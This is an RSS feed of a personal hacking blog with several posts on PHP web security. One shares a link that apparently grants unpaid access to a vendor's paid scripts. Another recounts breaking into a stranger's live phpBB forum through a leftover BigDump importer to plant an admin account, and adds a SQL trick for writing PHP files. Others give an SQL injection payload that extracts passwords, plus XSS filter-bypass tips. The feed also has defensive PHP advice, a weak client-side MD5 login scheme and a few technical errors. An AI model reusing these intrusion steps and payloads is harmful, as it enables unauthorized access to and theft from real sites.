<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link rel="hub" href="http://tumblr.superfeedr.com/" xmlns:atom="http://www.w3.org/2005/Atom"/><description>I search the web for exploits, and post things I probably shouldn’t post.</description><title>Nico's hax0r blog</title><generator>Tumblr (3.0; @nicoswd)</generator><link>http://nic0.me/</link><item><title>Deltascripts.com *promo* code! </title><description>&lt;p&gt;Get everything for free with this unique promo code: &lt;strong&gt;&lt;a href="http://pastebin.com/j9Qkdsyg" title="http://pastebin.com/j9Qkdsyg"&gt;pastebin.com/j9Qkdsyg&lt;/a&gt;&lt;span&gt; &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;This gets you everything off their site, such as their $349 “PHP Classifieds” script.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;I’m posting this to raise awareness. If a company like this can’t even protect what’s most valuable to them, how do you think they can protect what’s most valuable to &lt;strong&gt;you &lt;/strong&gt;and your users?&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote&gt;It has been around since 1998 and was the first PHP Classifieds script introduced in the world.&lt;/blockquote&gt;
&lt;p&gt;I wouldn’t be surprised if it hadn’t been updated since 1998 either! Their &lt;a href="http://deltascripts.com/phpclassifieds/requirements"&gt;requirements&lt;/a&gt; are funny too:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span&gt;The following PHP settings:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;Magic_Quotes ON&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Magic Quotes? Really? This feature has been deprecated in PHP 5.3, and will be completely removed in PHP 5.4. I’m not exactly sure how PHP 5.4 users are going to enable this feature to meet their requirements.&lt;/p&gt;
&lt;p&gt;“PHP Classifieds” is a horrible script. I wouldn’t even use the *free* version.&lt;/p&gt;
&lt;p&gt;Stay far away from it.&lt;/p&gt;
&lt;p&gt;(Let’s see how long they take to fix this)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: This is not a real promo code, but it works regardless. Using the scripts you get with this code might get you in trouble. Use at own risk!&lt;/em&gt;&lt;/p&gt;</description><link>http://nic0.me/post/17163748445</link><guid>http://nic0.me/post/17163748445</guid><pubDate>Mon, 06 Feb 2012 20:35:00 +0100</pubDate></item><item><title>BigDump, big goof!</title><description>&lt;p&gt;I just had to import a big database, and I used &lt;a target="_blank" href="http://www.ozerov.de/bigdump/"&gt;BigBump&lt;/a&gt; for that.&lt;/p&gt;
&lt;p&gt;My dirty mind immediately thought, how many people do actually leave the script on the server after importing their databases? Turns out, &lt;a target="_blank" href="http://www.google.com/search?q=inurl:bigdump.php+intitle:bigdump+ver"&gt;a lot&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now that’s pretty careless, but hey, their loss is my gain. Pretty quickly I found my first victim: A &lt;a target="_blank" href="http://www.phpbb.com/"&gt;phpBB&lt;/a&gt; board. I always used to be more of a vBulletin guy, and since I have no experience with that particular software (as to what hashing algorithm, salts, etc, it uses), I figured I’d just download it and install it locally. After doing so, I went to my phpMyAdmin, and exported the users table, which only had two users in it. My new admin account, and some random ‘Anonymous’ account, which makes no sense to me without further investigating, but I don’t care enough at this point.&lt;/p&gt;
&lt;p&gt;I just removed said account from the exported .sql file, leaving only my account in it. I changed the user ID to some ID the forum wasn’t likely to have already. Seeing as the forum has 1500 something users, so I just used the ID 2000, considering it probably has some banned users which are not counted. Make sure the user group ID is set to 5, otherwise you won’t be admin.&lt;/p&gt;
&lt;p&gt;I grabbed the file, uploaded it via BigDump to the server, and hit ‘Start import’. Since it was a single query only, it went rather fast.&lt;/p&gt;
&lt;p&gt;I went back to the forums, and logged in, using the moniker and password I picked during the local installation. Directly after logging in, the forum showed me a link at the bottom to the admin control panel… &lt;strong&gt;Success&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;It was unbelievably easy, and yet it’s a very dangerous attack!&lt;/p&gt;
&lt;p&gt;If I wanted, I could change anyone’s password, and log into their account. I could delete whole accounts, and what not…! I can run any MySQL query I want to, UPDATE, DELETE, DROP, etc…&lt;/p&gt;
&lt;p&gt;On a further note, older versions of BigBump (v.0.28b, I believe) use eregi() instead of preg_match() for the file name validation. And since eregi() is not binary safe, you probably could just prepend a null character (\0) to the file name, and upload .php files this way. It’s only theory, though, as I haven’t actually tried it.&lt;/p&gt;
&lt;p&gt;And on a last note, you may be able to create .php files with your own code using native SQL.&lt;/p&gt;
&lt;pre&gt;SELECT '&lt;?php echo \'hi there\'; ?&gt;' INTO OUTFILE '../../public_html/hacked.php'
&lt;/pre&gt;
&lt;p&gt;MySQL isn’t very likely to have permissions to write to that directory, but it’s worth a shot.&lt;/p&gt;</description><link>http://nic0.me/post/6039778106</link><guid>http://nic0.me/post/6039778106</guid><pubDate>Tue, 31 May 2011 18:17:00 +0200</pubDate></item><item><title>Client-side password hashing before log-in.</title><description>&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: This method protects your password (slightly,  at least), but it does not protect user accounts on the forum. If  someone *sniffed* your password hash, it could just be captured and  resent to the server it was gathered from, along with your user name.  The forum would not know whether the hash was directly submitted, or if  your Javascript code created it before logging in.&lt;/p&gt;
&lt;p&gt;I’ve seen vBulletin doing this, and I thought it was very  interesting.&lt;/p&gt;
&lt;p&gt;What they do is, they hash the user password using JavaScript before  logging in. How MD5 hashing works is no secret. And not even reverse  engineering the code that generates these hashes will make them “decryptable”. But I don’t want to get  into this now. What I’m saying is, that JavaScript can  create valid MD5 hashes, just like PHP would do. And we can take  advantage of this to make our systems a little more secure.&lt;/p&gt;
&lt;p&gt;Here’s an example JavaScript code that creates MD5 hashes:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://github.com/kvz/phpjs/raw/master/functions/strings/md5.js"&gt;http://github.com/kvz/phpjs/raw/master/functions/strings/md5.js&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;(&lt;a href="http://phpjs.org/pages/license"&gt;Feel free to use it.&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;If the user has JavaScript enabled on his browser, vBulletin converts  his password as soon as the form is being submitted, and removes the  value from the original password field. So that &lt;strong&gt;only&lt;/strong&gt; the &lt;strong&gt;hashed&lt;/strong&gt; password will be sent to the server.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;POST /forums/login.php?do=login HTTP/1.1&lt;br/&gt;Host: &lt;a href="http://www.xxxxxx.com"&gt;www.xxxxxx.com&lt;/a&gt;&lt;br/&gt;User-Agent:  Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: […]&lt;br/&gt;Accept:  text/html,application/xhtml+xml,application/xml;q=0.8 […]&lt;br/&gt;Accept-Language:  en-us,en;q=0.5&lt;br/&gt;Accept-Encoding: gzip,deflate&lt;br/&gt;Accept-Charset:  ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br/&gt;Keep-Alive: 115&lt;br/&gt;Connection:  keep-alive&lt;br/&gt;Referer: &lt;a href="http://www.xxxxxx.com/forums/index.php"&gt;http://www.xxxxxx.com/forums/index.php&lt;/a&gt;&lt;br/&gt;Cookie:  [ … ]&lt;br/&gt;Content-Type: application/x-www-form-urlencoded&lt;br/&gt;Content-Length:  198&lt;br/&gt;&lt;br/&gt;vb_login_username=Nico&amp;cookieuser=1&amp;vb_login_password=&amp;s=&amp;securitytoken=guest&amp;do=login&amp;&lt;strong&gt;vb_login_md5password=577********************f03d&amp;vb_login_md5password_utf=577******************f03d&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is an example request that my browser sends to the server. As  you can see, my password is only being sent in form of MD5 hashes. No  trace of the real password!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;So why are they doing this you might ask?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Security is the obvious answer. If you’re not connected to the server  using a secure (&lt;a href="http://en.wikipedia.org/wiki/Transport_Layer_Security"&gt;SSL&lt;/a&gt;)  protocol, your request is being sent “as is”, meaning PLAIN TEXT, and  can be seen by others, using certain &lt;a href="http://en.wikipedia.org/wiki/Packet_analyzer"&gt;packet  analyzing&lt;/a&gt; or HTTP sniffing tools.&lt;/p&gt;
&lt;p&gt;Since SSL certs are not always an option, and sometimes a little  pricey too… And since I’m yet to see a message board actually using a  secure log-in system, I find this method rather interesting. &lt;strong&gt;I’m by no means trying to say that this method is anywhere as secure as SSL connections, or that it can replace them.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Implementing this method into existing log-in systems might  be a little bit difficult or even impossible if you’re using “salts” or  anything besides just MD5.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;However, In case you’re interested, here’s an example on how to use  this method in your own forms.&lt;/p&gt;
&lt;pre&gt;&lt;script type="text/javascript" src="http://github.com/kvz/phpjs/raw/master/functions/xml/utf8_encode.js"&gt;&lt;/script&gt;&lt;br/&gt;&lt;script type="text/javascript" src="http://github.com/kvz/phpjs/raw/master/functions/strings/md5.js"&gt;&lt;/script&gt;&lt;br/&gt;&lt;br/&gt;&lt;script type="text/javascript"&gt;&lt;br/&gt;&lt;!--&lt;br/&gt;function pwd_handler(form)&lt;br/&gt;{&lt;br/&gt;        if (form.password.value != '')&lt;br/&gt;        {&lt;br/&gt;            form.md5password.value = md5(form.password.value);&lt;br/&gt;            form.password.value = '';&lt;br/&gt;        }&lt;br/&gt;}&lt;br/&gt;//--&gt;&lt;br/&gt;&lt;/script&gt;&lt;br/&gt;&lt;br/&gt;&lt;form action="login.php" method="post" onsubmit="pwd_handler(this);"&gt;&lt;br/&gt;    &lt;input type="text" name="username" /&gt;&lt;br/&gt;    &lt;input type="password" name="password" /&gt;&lt;br/&gt;    &lt;input type="hidden" name="md5password" value="" /&gt;&lt;br/&gt;    &lt;input type="submit" value="Log in" /&gt;&lt;br/&gt;&lt;/form&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The md5() function from phpjs relies on their utf8_encode()  function as well, so we must include it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The above code looks pretty much like most log in forms, except that  I’ve added a hidden field called “md5password”, which will later hold  the hashed password. And I’ve added an “onsubmit” handler to the  &lt;form&gt; tag.&lt;/p&gt;
&lt;p&gt;The JavaScript code does the same as vBulletin’s does. It prevents  the original password from being sent (meaning it removes its value),  and instead it includes an MD5 hash of it.&lt;/p&gt;
&lt;p&gt;Please note that this only works if the user has JavaScript enabled.  So on the server-side, we cannot rely on the password being hashed. We  have to check for it.&lt;/p&gt;
&lt;p&gt;In this example I’m assuming you’re only using MD5 without salts or  any other ingredients on your user’s passwords.&lt;/p&gt;
&lt;pre&gt;&lt;?php&lt;br/&gt;&lt;br/&gt;$username = $db-&gt;escape_string((string) $_POST['username']);&lt;br/&gt;$query = $db-&gt;query("&lt;br/&gt;	SELECT `username`, `password`, `salt`&lt;br/&gt;	FROM `users`&lt;br/&gt;	WHERE `username` = '{$username}'&lt;br/&gt;");&lt;br/&gt;&lt;br/&gt;if (!$userinfo = $query-&gt;fetch_assoc())&lt;br/&gt;{&lt;br/&gt;	// Error... user not found&lt;br/&gt;}&lt;br/&gt;else&lt;br/&gt;{&lt;br/&gt;	if ((!empty($_POST['md5password']) AND $_POST['md5password'] == $userinfo['password']) OR&lt;br/&gt;		(!empty($_POST['password']) AND md5($_POST['password']) == $userinfo['password']))&lt;br/&gt;	{&lt;br/&gt;		// Success... user logged in&lt;br/&gt;	}&lt;br/&gt;	else&lt;br/&gt;	{&lt;br/&gt;		// Wrong password&lt;br/&gt;	}&lt;br/&gt;&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;?&gt;&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;Please also note that this code is for reference only. A simple copy  and paste will not work. Furthermore, I cannot provide many more  examples as the password hashing can be done in too many ways. But I’ll  post one more for vBulletin-a-like systems where a custom salt is being  used:&lt;/p&gt;
&lt;pre&gt;if ((!empty($_POST['md5password']) AND md5($_POST['md5password'] . $userinfo['salt']) == $userinfo['password']) OR&lt;br/&gt;	(!empty($_POST['password']) AND md5(md5($_POST['password']) . $userinfo['salt']) == $userinfo['password']))&lt;br/&gt;{&lt;br/&gt;	// Success... user logged in&lt;br/&gt;}&lt;/pre&gt;
&lt;p&gt;Make sure you’ve previously selected the user’s salt from the  database and it’s present in the $userinfo array.&lt;/p&gt;
&lt;p&gt;As I said  earlier, implementing this method into your existing log-in system might  be impossible. It all depends on how you’ve been handling the passwords  from the beginning.&lt;/p&gt;
&lt;p&gt;Questions?&lt;/p&gt;</description><link>http://nic0.me/post/641537317</link><guid>http://nic0.me/post/641537317</guid><pubDate>Fri, 28 May 2010 21:58:00 +0200</pubDate></item><item><title>Dear "CyD Software Labs"...</title><description>&lt;p&gt;&lt;strong&gt;CyD Software Labs&lt;/strong&gt; claim themselves “&lt;a href="http://www.cydsoft.com/about.php"&gt;WEB security specialists&lt;/a&gt;”.&lt;/p&gt;
&lt;p&gt;Sounds great… so I decided to look at the stuff they’re actually doing. After a short while, I stumbled up on this post about &lt;a href="http://www.cydsoft.com/down.php?cat=4&amp;icat=8"&gt;Cross Site Scripting&lt;/a&gt; (XSS).&lt;/p&gt;
&lt;p&gt;While they make a good point about HTML entities, they’re completely forgetting SQL injections. The code they’re suggesting to prevent Cross Site Scripting is completely worthless, considering I can exploit their SQL query. I can still inject any HTML code, as if &lt;em&gt;htmlspecialchars()&lt;/em&gt; never existed in their code.&lt;/p&gt;
&lt;pre&gt;$username= htmlspecialchars($_GET['username']);&lt;br/&gt;&lt;br/&gt;$message= htmlspecialchars($_GET['message']);&lt;br/&gt;&lt;br/&gt;$result=mysql_query("INSERT INTO minibbtable_posts &lt;br/&gt;&lt;br/&gt;VALUES(NULL, 1, 1, 1, '$username', '$message', 1, 1, 1)");&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;I mean,… seriously? That’s all you have to suggest? This post is probably still from the PHP 4 days, when &lt;a href="http://www.php.net/security.magicquotes.what"&gt;Magic Quotes&lt;/a&gt; were enabled by default, but still… this suggestion is more than ridiculous. Especially for a “WEB security specialist”.&lt;/p&gt;
&lt;p&gt;Since they don’t suggest &lt;em&gt;mysql_real_escape_string()&lt;/em&gt;, I can insert single quotes into the query, and manipulate it that way. (For more information, I posted about this type of exploit a while ago &lt;a href="http://nic0.me/post/407302204/htmlspecialchars-doesnt-prevent-javascript"&gt;here&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;They are however suggesting to apply &lt;em&gt;htmlspecialchars()&lt;/em&gt; on the input, &lt;strong&gt;AND&lt;/strong&gt; the output, which is pretty stupid, because it’ll result in ugly output to the user. This method does not prevent code injection, but it prevents the code from executing on the client’s side. That means I can save valid HTML in their database, but it won’t be executed by the client because it’s being converted to HTML entities.&lt;/p&gt;
&lt;p&gt;But there are other types of attacks I can execute using the exploit. What if I’m not interested in the user’s cookies, or redirects to spam sites, or anything else JavaScript can do? What if I inject a sub-query that selects user passwords and adds them to my posts?&lt;/p&gt;
&lt;p&gt;It’s as easy as inserting something like this into the “Name” field of their page:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;’, (SELECT `password` FROM `users` WHERE `userid` = 1), 1, 1, 1) #&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This can be way more harmful than any XSS attack. Allowing me to insert JavaScript can give me some options to steal user information, and maybe even hijack their sessions by stealing their cookies and what not.&lt;/p&gt;
&lt;p&gt;But in all honesty, why bother coding a script that can steal user’s cookies and save them on another server, when I can get their info directly and more accurately?&lt;/p&gt;
&lt;p&gt;There are some parts of their code that needs to be analyzed before continuing:&lt;/p&gt;
&lt;p&gt;They’re for example using a &lt;em&gt;mysql_query()&lt;/em&gt; call without error control. Meaning, there’s no “&lt;em&gt;OR die(mysql_error())&lt;/em&gt;”. That’s good for them, and bad for us. Since we’re not getting any useful errors, it can be hard to inject code as we don’t know what we’re really doing. However, there are still thousands of sites using proper error control, and most of them naively show the error to the user too.&lt;/p&gt;
&lt;p&gt;Another thing is that we usually don’t see is the actual code behind the user interface, so we don’t necessarily know how many fields we need to insert into the database. In this example, they’re inserting data into 4 columns before the user name and the message, and more data into 3 columns after that:&lt;/p&gt;
&lt;pre&gt;INSERT INTO minibbtable_posts   VALUES(NULL, 1, 1, 1, '$username', '$message', 1, 1, 1)&lt;/pre&gt;
&lt;p&gt;The data before the message ($message) is rather unimportant, as we inject code right after it. What we need to know is how many fields there are after it, as they might be required (can’t be empty). Obviously, when injecting code we start with the minimum amount of columns.&lt;/p&gt;
&lt;p&gt;We’re first closing the initial single quote by inserting another one. Thus, resulting in a query like:&lt;/p&gt;
&lt;pre&gt;INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, ''&lt;/pre&gt;
&lt;p&gt;Now we add a comma, and then the actual SQL code we want to execute. This could be a SELECT sub-query, or a CHAR() call to write characters which would usually be converted by &lt;em&gt;htmlspecialchars()&lt;/em&gt;.&lt;/p&gt;
&lt;pre&gt;INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]))&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;This query alone would be valid, but the rest of the original query is hard coded into the PHP script and we can’t modify it. So we have to tell MySQL to ignore it, by adding a # to the end.&lt;/p&gt;
&lt;pre&gt;INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...])) #&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;Now the actual code will be send to the database like this:&lt;/p&gt;
&lt;pre&gt;INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...])) #', '$message', 1, 1, 1)&lt;/pre&gt;
&lt;p&gt;In SQL, the # character stands for a command. Meaning it’s “just” information for the programmer, and therefore ignored by MySQL.&lt;/p&gt;
&lt;p&gt;However, in this case, the three 1s are unknown fields that can’t be empty. So we’re getting an error like this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Column count doesn’t match value count at row 1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This error means we’re inserting less (or more) columns than required. From there we keep adding more, until it works.&lt;/p&gt;
&lt;pre&gt;INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1) #&lt;/pre&gt;
&lt;p&gt;(Note the 1 after the SELECT sub-query. This would still produce the same error as we’re not yet inserting the required amount of fields.)&lt;/p&gt;
&lt;pre&gt;INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1, 1) #&lt;/pre&gt;
&lt;p&gt;(Still no luck… keep trying, and add one more field.)&lt;/p&gt;
&lt;pre&gt;INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1, 1, 1) #&lt;/pre&gt;
&lt;p&gt;Bingo…&lt;/p&gt;
&lt;p&gt;Most of the times, hacking involves trying. You can’t always know everything.&lt;/p&gt;
&lt;p&gt;I’m aware that they’re also addressing &lt;em&gt;htmlentites()&lt;/em&gt; and &lt;em&gt;htmlspecialchars()&lt;/em&gt;’s “quote style”, but they’re neither using it in their code, nor do they say how dangerous it is not to use these functions.&lt;/p&gt;
&lt;p&gt;Not sure what exactly makes them think they’re WEB security specialists, but this post proves pretty much the opposite. It’s just giving their readers a false sense of security.&lt;/p&gt;</description><link>http://nic0.me/post/638007848</link><guid>http://nic0.me/post/638007848</guid><pubDate>Thu, 27 May 2010 18:38:00 +0200</pubDate><category>injection,</category><category>htmlspecialchars,</category><category>htmlentites,</category><category>sql</category><category>exploit</category><category>mysql</category><category>hacking</category><category>php</category><category>sql</category></item><item><title>Some common PHP security pitfalls...</title><description>&lt;p&gt;… and how to exploit them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chapter One: Image uploading.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Allowing users to upload files to your server needs to be done carefully. Very carefully. If a user manages to upload a (PHP) script, they’ll be able to do pretty much anything with your server, including the database (if any).&lt;/p&gt;
&lt;p&gt;Let’s assume for a moment that you only want to allow images to be uploaded. So how can you make sure the file is really an image? Some might say “Hey, there’s &lt;em&gt;$_FILES[‘file’][‘type’]&lt;/em&gt;, which holds the file’s content type.”&lt;/p&gt;
&lt;p&gt;I’ve seen many people (&lt;strong&gt;INCLUDING &lt;a href="http://www.w3schools.com/PHP/php_file_upload.asp"&gt;w3schools&lt;/a&gt;!&lt;/strong&gt;) relying on this value for verification. But not only comes this value directly from the CLIENT, it can also be easily modified/faked.&lt;/p&gt;
&lt;p&gt;I could upload a PHP file with an &lt;em&gt;image/jpeg&lt;/em&gt; content type, and it would pass the verification. &lt;strong&gt;Everyone’s site using the code from w3schools is vulnerable.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Don’t EVER rely on this value. &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The first thing you should do, is validate the file extension. Only files that are parsed by the server (or the user’s browser) are dangerous to us. And by default, the server only parses certain files with certain extensions, such as .php, .asp, .pl, .py, etc… Depending on what you have installed.&lt;/p&gt;
&lt;p&gt;Validating the extension is quite easy:&lt;/p&gt;
&lt;pre&gt;&lt;?php&lt;br/&gt;&lt;br/&gt;// Valid file extensions.&lt;br/&gt;$valid_extensions = array('.jpg', '.jpeg', '.png', '.gif', '.tif', '.tiff');&lt;br/&gt;&lt;br/&gt;// Get current file extension&lt;br/&gt;$extension = strpos($filename, '.') !== false&lt;br/&gt;	? strrchr($filename, '.')&lt;br/&gt;	: 'none';&lt;br/&gt;&lt;br/&gt;$extension = strtolower($extension);&lt;br/&gt;&lt;br/&gt;if (!in_array($extension, $valid_extensions))&lt;br/&gt;{&lt;br/&gt;	// Invalid file... throw error and DO NOT UPLOAD&lt;br/&gt;}&lt;br/&gt;else&lt;br/&gt;{&lt;br/&gt;	// Everything is cool... continue.&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;?&gt;&lt;/pre&gt;
&lt;p&gt;NOTE: Some servers parse .gif files by default. I’m not exactly sure why, but try it out to be on the safe side. Valid and normal looking GIF (as well as other) images can contain PHP code. So you don’t want to have those images parsed.&lt;/p&gt;
&lt;p&gt;Secondly, you can use PHP’s image functions to verify if the file is an actual image. They’re not 100% bullet-proof, but it’s a fairly good start.&lt;/p&gt;
&lt;pre&gt;$type = @exif_imagetype($_FILES['image']['tmp_name']);&lt;br/&gt;&lt;br/&gt;if (!$type OR !in_array($type, array(&lt;br/&gt;	IMAGETYPE_JPEG,&lt;br/&gt;	IMAGETYPE_GIF,&lt;br/&gt;	IMAGETYPE_PNG,&lt;br/&gt;	IMAGETYPE_TIFF_II,&lt;br/&gt;	IMAGETYPE_TIFF_MM&lt;br/&gt;)))&lt;br/&gt;{&lt;br/&gt;	// Invalid image... do not upload&lt;br/&gt;}&lt;br/&gt;else&lt;br/&gt;{&lt;br/&gt;	// Everything's cool&lt;br/&gt;}&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;If you don’t have the &lt;a href="http://www.php.net/exif"&gt;EXIF&lt;/a&gt; extension installed, use &lt;a href="http://www.php.net/getimagesize"&gt;getimagesize&lt;/a&gt;().&lt;/p&gt;
&lt;p&gt;As I said, this is not 100% bullet-proof, meaning this can be exploited as well. But it’s a very good start.&lt;/p&gt;
&lt;p&gt;Another option:&lt;/p&gt;
&lt;p&gt;Upload the files to a non-public directory. The user needs to access the file using his browser in order to execute it. And this is impossible if the file is outside the public directory.&lt;/p&gt;
&lt;p&gt;If you need to display the images at some point to the user, use a PHP script to read the file’s contents. This way they won’t be parsed and can’t cause trouble.&lt;/p&gt;
&lt;pre&gt;$file = '/path/to/some/file.jpg';&lt;br/&gt;&lt;br/&gt;if ($type = @exif_imagetype($file))&lt;br/&gt;{&lt;br/&gt;	header('Content-Type: ' . image_type_to_mime_type($type));&lt;br/&gt;	readfile($file);&lt;br/&gt;}&lt;br/&gt;else&lt;br/&gt;{&lt;br/&gt;	// Error, not an image...&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;Another safe, but “not-so-optimal” option is storing the file in a BLOB field in the database. I wouldn’t suggest doing this if you plan on storing a lot of images, though.&lt;/p&gt;
&lt;p&gt;And last, I highly suggest you to read &lt;a href="http://www.scanit.be/uploads/php-file-upload.pdf"&gt;this PDF from Scanit&lt;/a&gt;. It’s a good and mind opening read. (It also contains a Perl script which allows custom content types).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chapter Two: HTTP header redirects.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is one of the things I’ve seen too many times as well. People have protected areas on their pages which require some kind of authentication. If the users fails to be authenticated, they’re redirected to the log-in page. Usually, there’s nothing wrong with that. But a lot of people seem to forget to EXIT their script after redirecting.&lt;/p&gt;
&lt;p&gt;The browser follows the redirect header for your COMFORT. It’s just a function and can be disabled easily. And if you do not exit the script, it’ll continue to run, meaning, the user will be able to see the output even after sending the header.&lt;/p&gt;
&lt;p&gt;I’ve exploited this &lt;a href="http://nic0.me/post/523446434/"&gt;here&lt;/a&gt;, for example. And even &lt;a href="http://www.imperialbb.com/"&gt;ImperialBB&lt;/a&gt; was vulnerable to this a few years ago, before i reported the issue. I was able to see protected administrator forums.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BAD:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;if (empty($_SESSION['userid']))&lt;br/&gt;{&lt;br/&gt;	header('Location: login.php');&lt;br/&gt;}&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;GOOD:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;if (empty($_SESSION['userid']))&lt;br/&gt;{&lt;br/&gt;	header('Location: login.php');&lt;br/&gt;	exit;&lt;br/&gt;}&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href="http://www.php.net/exit"&gt;&lt;a href="http://www.php.net/exit"&gt;http://www.php.net/exit&lt;/a&gt;&lt;/a&gt;&lt;br/&gt;&lt;a href="http://www.php.net/header"&gt; &lt;a href="http://www.php.net/header"&gt;http://www.php.net/header&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chapter Three: Cross site scripting (XSS).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Another thing I see on a daily basis:&lt;/p&gt;
&lt;pre&gt;&lt;form action="&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;" method="post"&gt;&lt;/pre&gt;
&lt;p&gt;I won’t even lie, I was guilty of doing this too in my early PHP days. Until I learned that I could append JavaScript to the URL in the address bar, and it would be injected directly into the page I was on.&lt;/p&gt;
&lt;p&gt;example.com/page.php/&lt;script&gt;alert(‘XSS’);&lt;/script&gt;&lt;/p&gt;
&lt;p&gt;… the above is a valid URL, and &lt;em&gt;PHP_SELF&lt;/em&gt; would contain this bit of JavaScript. Needless to say, this alert() is harmless, but I could inject any code, and this could be potentially harmful.&lt;/p&gt;
&lt;p&gt;Some sites use &lt;em&gt;.htaccess&lt;/em&gt; to block requests that contain &lt;em&gt;&lt;script&gt;&lt;/em&gt; tags. But in some cases, this can be bypassed by adding for example &lt;em&gt;type=”text/javascript”&lt;/em&gt; to the tag. If you’re already using this attribute, try again without it. It all depends on how weak the regex they’re using is.&lt;/p&gt;
&lt;p&gt;Solution? It’s even easier than any line of code… It’s as simple as leaving the action=”” attribute in BLANK! This will force the browser to submit the page to itself. Exactly as PHP_SELF would do.&lt;/p&gt;
&lt;pre&gt;&lt;form action="" method="post"&gt;&lt;br/&gt;&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;Cross site scripting goes a &lt;strong&gt;lot&lt;/strong&gt; further than that, though. But I’m only going to cover this as of now, ‘cause it’s probably the mistake I see the most. You might want to take a look at &lt;a href="http://nic0.me/post/407302204/"&gt;this post&lt;/a&gt;, if you haven’t already.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chapter Four: Email header injection&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Another common one:&lt;/p&gt;
&lt;pre&gt;mail(&lt;br/&gt;	'to@address.com',&lt;br/&gt;	'Some subject',&lt;br/&gt;	'Some message',&lt;br/&gt;	"From: {$_POST['email']}"&lt;br/&gt;);&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;I’ve seen this a lot in contact forms. Assuming &lt;em&gt;$_POST[‘email’]&lt;/em&gt; is unfiltered, I would be able to inject CC/BCC headers, and thus, allowing me to send emails to anyone I wanted using your server. Now if I had some spare Viagra, or a certain “enlargement” service, I could make good use of this.&lt;/p&gt;
&lt;p&gt;Make always sure the email is valid, and does not contain new lines or carriage returns. Just because it contains an @, it doesn’t mean it’s a valid email (apparently some people think it does).&lt;/p&gt;
&lt;p&gt;Here’s a good one:&lt;/p&gt;
